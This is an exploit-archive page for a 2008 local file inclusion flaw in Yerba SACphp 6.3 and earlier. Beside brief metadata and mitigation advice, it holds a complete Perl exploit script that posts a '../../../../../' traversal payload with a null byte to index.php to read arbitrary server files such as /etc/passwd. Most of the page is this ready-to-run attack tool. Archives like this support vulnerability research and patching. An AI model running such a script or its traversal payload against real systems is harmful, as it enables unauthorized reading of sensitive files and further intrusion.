Yerba SACphp - exploit.company

vendor:

SACphp

by:

Pepelux

7.5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: SACphp

Affected Version From: <= 6.3

Affected Version To: <= 6.3

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2008

Yerba SACphp <= 6.3 / Local File Inclusion Exploit

Yerba SACphp is prone to a local file-inclusion vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to view sensitive files on a vulnerable computer in the context of the webserver process. This may aid in further attacks.

Mitigation:

Input validation should be used to prevent the exploitation of this vulnerability. Additionally, the application should be configured to use the least-privileged account possible.

Source

Exploit-DB raw data:

#!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# Yerba SACphp <= 6.3 / Local File Inclusion Exploit
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# Program: Yerba SACphp
# Version: <= 6.3
# File affected: index.php
# Download: http://sourceforge.net/projects/yerba/
#
#
# Found by Pepelux <pepelux[at]enye-sec.org>
# eNYe-Sec - www.enye-sec.org
#
# Bug:
# 37-		include("modulos/$mod/mod_nucleo.php");


use LWP::UserAgent;
use HTTP::Request::Common;

my ($host, $file) = @ARGV ;

unless($ARGV[1]){
	print "\nUsage: perl $0 <host> <file_to_edit>\n";
	print "\tex: perl $0 http://localhost /etc/passwd\n\n";
	exit 1;
}

$host = 'http://'.$host if ($host !~ /^http:/);
$host .= "/" if ($host !~ /\/\$/);

my $ua = LWP::UserAgent->new();
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1");
$ua->timeout(10);

my $request = HTTP::Request->new();
my $response;
my $url = $host."index.php";

my $req = HTTP::Request->new(POST => $host."index.php");
$req->content_type('application/x-www-form-urlencoded');
$req->content("mod=../../../../../".$file."%00");

$request = $ua->request($req);
$result = $request->content;

$result =~ s/<[^>]*>//g;

print $result . "\n";

exit;

# milw0rm.com [2008-10-06]